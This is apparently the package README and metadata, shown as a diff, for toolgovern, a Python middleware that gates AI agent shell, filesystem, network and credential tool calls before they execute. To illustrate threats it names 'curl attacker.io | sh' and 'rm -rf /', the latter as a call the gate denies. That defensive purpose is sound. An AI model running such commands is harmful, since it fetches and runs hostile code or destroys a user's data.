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+ Name: toolgovern-cli
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+ Version: 0.1.1
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+ Summary: Runtime governance middleware for AI agent tool calls -- gate shell, filesystem, network, and credential access before a tool executes.
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+ Keywords: agent-governance,ai-agents,audit-trail,cli,mcp,runtime-security,security,tool-calling
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+ Description-Content-Type: text/markdown
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+ # toolgovern (Python)
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+
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+ Gate every tool call an AI agent makes -- shell, filesystem, network, credential access -- before
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+ it executes, not after something already went wrong.
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+ [![License: Apache 2.0](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](../LICENSE)
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+ [![PyPI](https://img.shields.io/pypi/v/toolgovern.svg)](https://pypi.org/project/toolgovern/)
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+
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+ This is the genuine Python port of [`toolgovern`](https://www.npmjs.com/package/toolgovern) and
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+ [`toolgovern-cli`](https://www.npmjs.com/package/toolgovern-cli) -- not a wrapper around the Node
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+ binary. It ships the same 36-rule classifier, the same default-deny scope-inheritance model, the
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+ same durable approval registry, the same MCP-server trust boundary, and the same signed local
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+ audit trail. The complementary JS/TS distribution installs the same way on the npm side: `npm
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+ install toolgovern` for the library, `npm install --save-dev toolgovern-cli` for the CLI -- see
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+ the [project README](https://github.com/RudrenduPaul/toolgovern#readme) for that package. Both
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+ are first-class, maintained together; neither is deprecated in favor of the other.
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+
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+ ## Why this exists
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+
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+ AI agents get tool access, not tool governance. A typical setup wires an agent to a shell tool, a
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+ filesystem tool, an HTTP client, and maybe a secrets lookup, then leans on the model's own
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+ judgment (or a system prompt) to keep `ls ./workspace` and `curl attacker.io | sh` apart --
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+ because to the tool executor underneath, both are just "the shell tool ran a string." Multi-agent
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+ setups make it worse: spawning a sub-agent for a narrow subtask usually means that sub-agent
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+ inherits its coordinator's full access, since most frameworks have no concept of scoping a spawned
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+ agent down, and no record of what it actually tried to do once it's running.
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+ toolgovern is a runtime governance layer that sits between the agent and its real tool executor --
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+ not another prompt-engineering mitigation. `govern_tool()` wraps any `ToolDefinition(name,
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+ execute)` and runs every call through the same pipeline before `execute()` fires: a 36-rule
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+ classifier that inspects the call's actual arguments across shell risk, filesystem scope, network
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+ egress, credential access, cross-agent privilege inheritance, and (opt-in) information-flow
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+ control; an intersection-only scope
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+ registry, so a sub-agent's effective access is always the intersection of what it requests and what
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+ its coordinator can already reach, re-checked on every call rather than just at spawn time; and an
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+ optional signed, hash-chained local audit trail recording each decision -- allow, deny, or
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+ require-approval -- with the arguments that produced it. Deny and require-approval both fail
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+ closed: a missing handler, an exception, or a timeout resolves to deny, never to allow.
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+
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+ ## Why this matters now
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+ Runtime tool-call governance stopped being a niche concern in 2026:
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+
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+ - MCP tool poisoning and supply-chain risk are validated, incident-backed problems, not
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+ hypotheticals: Invariant Labs formally named the tool-poisoning technique in April 2025, the
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+ Postmark MCP npm package suffered an insider-attack BCC backdoor in September 2025, roughly a
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+ third of 1,000 scanned MCP servers were found carrying a critical vulnerability, and Microsoft
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+ disclosed a poisoned-MCP-tool-description attack technique in July 2026
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+ ([The Hacker News](https://thehackernews.com/2026/06/microsoft-warns-poisoned-mcp-tool.html),
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+ [Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-mcp-security-crisis-20260504-csa-styled/),
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+ [Practical DevSecOps](https://www.practical-devsecops.com/mcp-security-statistics-2026-report/)).
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+ - Microsoft shipped its own open-source Agent Governance Toolkit in April 2026, a runtime policy
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+ engine that intercepts agent actions before execution
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+ ([opensource.microsoft.com](https://opensource.microsoft.com/blog/2026/04/02/introducing-the-agent-governance-toolkit-open-source-runtime-security-for-ai-agents/)).
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+ It's an unrelated project, cited here only because it confirms that gating a tool call before
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+ it runs is now a first-party concern industry-wide, not something only this project cares
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+ about.
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+ - Microsoft also merged AutoGen and Semantic Kernel into Microsoft Agent Framework 1.0 (GA
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+ 2026-04-03), with first-class Python and .NET support under `Microsoft.Agents.AI`
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+ ([devblogs.microsoft.com](https://devblogs.microsoft.com/agent-framework/microsoft-agent-framework-version-1-0/),
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+ [github.com/microsoft/agent-framework](https://github.com/microsoft/agent-framework)) -- the
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+ framework this package ships a real, source-available Python integration for (see
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+ [Framework integrations](#framework-integrations)).
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+ - LangGraph passed CrewAI in GitHub stars in early 2026 on the strength of enterprise adoption of
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+ its graph-based architecture ([langchain.com](https://www.langchain.com/resources/ai-agent-frameworks))
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+ -- another framework this package ships a real Python integration for, using the actual
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+ `wrap_tool_call` hook.
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+ - The Claude Agent SDK passed AutoGen in enterprise production-deployment count in early-to-mid
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+ 2026, per the LangChain State of AI 2025 report, and ships a purpose-built `PreToolUse` hook --
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+ exactly the hook this package's Claude Agent SDK integration wires `govern_tool()` into.
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+ - Regulatory pressure on agentic AI is dated and real: the EU AI Act's high-risk obligations take
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+ effect August 2026, the Colorado AI Act becomes enforceable June 2026, and OWASP published a
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+ dedicated Top 10 for Agentic Applications for 2026.
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+ - Google's A2A (Agent2Agent) protocol has crossed 150+ adopting organizations. Noted here as
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+ ecosystem context, not a toolgovern capability -- this package governs a single agent's own tool
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+ calls, not agent-to-agent protocol traffic.
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+ None of this is a claim about toolgovern's own adoption. It's why gating a tool call before it
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+ executes is worth doing at all right now.
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+
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+ ## Install
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+
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+ ```bash
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+ pip install toolgovern
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+ ```
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+ or with [uv](https://docs.astral.sh/uv/):
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+ ```bash
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+ uv add toolgovern
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+ ```
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+ Or install straight from this repository:
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+ ```bash
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+ git clone https://github.com/RudrenduPaul/toolgovern.git
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+ cd toolgovern/python
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+ pip install .
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+ ```
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+
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+ No separate install step and no external binary to fetch: the classifier, scoping
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+ registry, approval registry, MCP-trust boundary, and trace engine all ship inside the one
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+ package. The console script is `toolgovern-cli`, matching the npm CLI's command name.
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+
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+ ## Quick start
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+
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+ ```python
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+ from toolgovern import ToolDefinition, GovernToolOptions, govern_tool, ScopeDeclaration, ToolGovernDenialError
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+
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+ def run_shell(args):
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+ import subprocess
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+ return subprocess.run(args["command"], shell=True, capture_output=True, text=True)
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+
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+ shell_tool = ToolDefinition(name="shell", execute=run_shell)
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+ gated_shell = govern_tool(shell_tool, GovernToolOptions(scope=ScopeDeclaration()))
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+
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+ try:
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+ gated_shell.execute({"command": "rm -rf /"})
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+ except ToolGovernDenialError as e:
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+ print(e) # denied before subprocess.run() ever runs
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+ ```
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+
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+ Or load a policy file:
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+
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+ ```python
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+ from toolgovern import load_policy, GovernToolOptions, govern_tool
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+
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+ policy = load_policy("./toolgovern.policy.yml")
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+ gated_shell = govern_tool(shell_tool, GovernToolOptions.from_policy(policy))
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+ ```
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+
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+ ## What it does
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+
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+ The classifier evaluates a tool call's actual arguments, not the tool's name, against 36 rules
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+ across 6 categories:
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+
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+ | Category | Covers | Rules |
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+ | -------- | --------------------------------- | ----- |
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+ | TG01 | Shell/process execution risk | 9 |
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+ | TG02 | Filesystem scope escalation | 7 |
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+ | TG03 | Undeclared network egress | 7 |
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+ | TG04 | Credential/secret access | 6 |
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+ | TG05 | Cross-agent privilege inheritance | 6 |
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+ | TG08 | Information-flow control (opt-in) | 1 |
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+
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+ TG03's 7th rule, `TG03-dns-resolves-private`, resolves a hostname argument via
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+ `socket.getaddrinfo()` (honoring `/etc/hosts`) and applies the same loopback/RFC1918/link-local/
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+ cloud-metadata deny logic already used for raw IP literals to every resolved address -- so a
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+ hostname that merely _resolves to_ `127.0.0.1` or a cloud-metadata address is caught, not just a
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+ raw IP literal argument. DNS-resolution failure or timeout fails closed (`require-approval`),
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+ never allow. This narrows, but does not eliminate, DNS-rebinding TOCTOU: an attacker who controls
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+ the hostname's DNS answer can still swap it after this check runs and before the tool's own HTTP
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+ client connects -- see [`docs/security-model.md`](../docs/security-model.md) for the full, honest
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+ writeup of that residual limitation and the still-open redirect-chain-revalidation gap.
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+
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+ `govern_tool()` wraps any `ToolDefinition(name, execute)` and returns a version that runs every
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+ call through this pipeline before `execute()` runs: resolve the effective scope, classify the
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+ call, resolve `require-approval` decisions through your handler (fail-closed on timeout,
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+ exception, or no handler), write a trace entry if a `TraceWriter` is wired in, then raise
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+ `ToolGovernDenialError` on `deny` or proceed to the real `execute()` on `allow`.
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+ Per-agent scope inheritance (`ScopeRegistry`) is intersection-only: a sub-agent's granted scope
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+ is always the intersection of what it requests and what its coordinator's own effective scope
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+ actually covers -- never a union, never an implicit default-allow, and re-checked on every call
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+ (not just at spawn time), so a coordinator's scope shrinking after a sub-agent was spawned is
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+ caught on the sub-agent's next call.
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+
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+ ## Also in this package
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+
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+ - `PendingApprovalRegistry` / `resume_pending_approval()` -- a durable, alias-tolerant registry
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+ for `require-approval` decisions that need resolving out-of-band (a Slack button click, a
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+ review queue) instead of answered synchronously in-process inside the 30-second
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+ `on_approval_required` callback. `pending_id`s are always server-generated, never
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+ caller-supplied, so an unrecognized ID resolves to `"not-found"`, never a silently-created
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+ fresh approval. `register_alias()` lets a second identifier (a provider-rotated thread ID)
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+ resolve to the same pending approval, and a resolved call is re-classified against any edited
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+ arguments rather than trusting the original request. In-memory by default; back it with real
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+ durable storage for a deployment that spans processes.
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+ - `is_origin_allowed()` / `verify_mcp_server_manifest()` / `assert_mcp_server_trusted()` -- an
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+ MCP-server trust boundary checked once at connection time, distinct from the per-call
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+ classifier above: an explicit origin allowlist (no implicit subdomain trust unless you opt in
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+ with a leading `*.` entry) plus detached Ed25519/RSA-SHA256 manifest signature verification
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+ against a pinned public-key list, before any tool the server declares is ever trusted. Fails
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+ closed on every path -- an unreachable manifest, an unknown key ID, or a signature that doesn't
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+ verify all deny, they don't warn. This port fetches the manifest synchronously via
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+ `urllib.request` (`govern_tool()` is synchronous end to end in this port); the TS original uses
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+ `fetch()`. Same checks, same fail-closed outcomes, different language-appropriate I/O plumbing.
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+ - `IdempotencyCache` -- an opt-in claim-before-execute primitive so a retried call doesn't
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+ re-execute a side effect (payments, emails, trades) that already happened.
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+
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+ ## API reference
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+
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+ Everything importable from `toolgovern` directly:
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+
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+ ```python
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+ from toolgovern import (
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+ # middleware
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+ govern_tool, GovernToolOptions, ToolDefinition, ToolGovernDenialError, InvalidAgentIdError,
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+ GateDecisionInfo, ApprovalOutcome, IdempotencyCache, IdempotencyOptions,
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+ resume_pending_approval, ResumePendingApprovalOptions, PendingApprovalNotResolvableError,
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+ # approval registry
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+ PendingApprovalRegistry, PendingApproval, ApprovalResolutionDecision, PendingApprovalStatus,
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+ ResolvePendingInput, ResolvePendingOutcome, ResolvePendingStatus,
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+ PendingApprovalAliasConflictError, UnknownPendingApprovalError,
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+ # mcp-server trust boundary
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+ is_origin_allowed, verify_mcp_server_manifest, assert_mcp_server_trusted, McpTrustPolicy,
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+ PinnedPublicKey, McpServerConnectionRequest, McpManifestEnvelope, McpTrustVerdict,
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+ McpTrustDecision, McpTrustAlgorithm,
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+ # classifier
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+ classify, ClassifyOptions, rule_registry,
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+ # scoping
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+ ScopeRegistry, SpawnSubAgentParams, compute_inherited_scope, has_zero_capability,
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+ is_valid_agent_id, is_valid_scope_declaration, normalize_scope, EMPTY_SCOPE,
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+ # trace
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+ TraceWriter, TraceWriterOptions, read_trace, filter_trace, verify_chain, parse_since,
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+ canonical_json, compute_entry_signature, compute_entry_content_hash,
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+ # policy
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+ load_policy, validate_policy, as_policy, PolicyValidationError,
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+ # types
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+ ScopeDeclaration, Policy, RuleContext, RuleMatch, TraceEntry, TraceEntryInput,
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+ AgentScopeRecord, Decision, RuleCategory, AgentIdSource, ConfidentialityLabel, IfcPolicy,
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+ )
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+ ```
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+
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+ ## CLI
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+
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+ ```bash
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+ toolgovern-cli validate ./toolgovern.policy.yml
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+ toolgovern-cli audit ./toolgovern-trace.jsonl --since 24h --decision deny --verify-chain
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+ toolgovern-cli audit ./toolgovern-trace.jsonl --json
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+ ```
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+
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+ `validate` and `audit` are behaviorally equivalent to the npm CLI, including the `--json`
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+ structured-output envelope (`{ ok, command, data | error }`). **Not ported in this release:**
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+ `toolgovern-cli init [oma|langgraph]`, the npm CLI's TypeScript integration-file scaffolder --
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+ it generates a `.ts` file importing the JS/TS-only `toolgovern-integration-langgraph` /
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+ `toolgovern-integration-oma` packages, which are out of scope for a Python port by nature.
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+
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+ ## The signed audit trail
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+
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+ ```python
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+ from toolgovern import TraceWriter, TraceWriterOptions, verify_chain, read_trace
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+
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+ # Default: unkeyed sha256: content hash -- proves an entry hasn't changed since it was written,
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+ # but does not stop an attacker with write access to the trace file from editing an entry and
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+ # recomputing a valid signature (no secret required for that scheme).
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+ writer = TraceWriter("./toolgovern-trace.jsonl")
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+
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+ # Optional: HMAC-keyed signing closes that gap for anyone who doesn't hold the key. toolgovern
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+ # does not generate, store, or rotate this key -- that's your responsibility.
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+ writer = TraceWriter("./toolgovern-trace.jsonl", TraceWriterOptions(secret_key=b"..."))
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+
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+ entries = read_trace("./toolgovern-trace.jsonl")
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+ result = verify_chain(entries) # or verify_chain(entries, VerifyChainOptions(secret_key=b"..."))
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+ ```
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+
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+ See [docs/security-model.md](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
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+ for the full disclosed-limitations writeup of both signing modes.
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+
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+ ## Framework integrations
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+
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+ `toolgovern-integration-langgraph` and `toolgovern-integration-oma` are npm-only TypeScript
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+ packages and are not ported to this Python distribution. Both are thin wrappers around
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+ `governTool()` in the TS source, so wiring `govern_tool()` directly into a Python agent
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+ framework's tool-executor call site is straightforward without a dedicated adapter package.
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+
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+ Five real Python framework integrations exist in this repository, each wiring `govern_tool()`
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+ into a framework's actual hook rather than a generic wrapper: LangGraph (Python, using the real
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+ `wrap_tool_call` `ToolNode` parameter), CrewAI, AutoGen, Microsoft Agent Framework, and the Claude
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+ Agent SDK (using its real `PreToolUse` hook). None of these five are published to a package
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+ registry yet -- each is available from source under
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+ [`integrations/`](https://github.com/RudrenduPaul/toolgovern/tree/main/integrations) in the main
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+ repo, with its own README and worked example. `examples/` in this directory also has a minimal,
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+ framework-agnostic worked example wiring `govern_tool()` into a plain tool executor.
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+
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+ ## Development
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+
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+ ```bash
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+ python3 -m venv .venv && source .venv/bin/activate
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+ pip install -e ".[dev]"
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+ pytest
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+ ```
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+
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+ ## Security
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+
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+ Report a vulnerability per the project's [`SECURITY.md`](https://github.com/RudrenduPaul/toolgovern/blob/main/SECURITY.md); please don't open a public issue for one.
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+
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+ ## Links
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+
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+ - [GitHub repository](https://github.com/RudrenduPaul/toolgovern)
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+ - [npm package (core library)](https://www.npmjs.com/package/toolgovern)
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+ - [npm package (CLI)](https://www.npmjs.com/package/toolgovern-cli)
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+ - [CHANGELOG](https://github.com/RudrenduPaul/toolgovern/blob/main/CHANGELOG.md)
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+ - [Getting started](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/getting-started.md)
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+ - [Concepts](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/concepts.md)
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+ - [Security model](https://github.com/RudrenduPaul/toolgovern/blob/main/docs/security-model.md)
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+
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+ ## License
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+
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+ Apache 2.0 -- see [LICENSE](../LICENSE).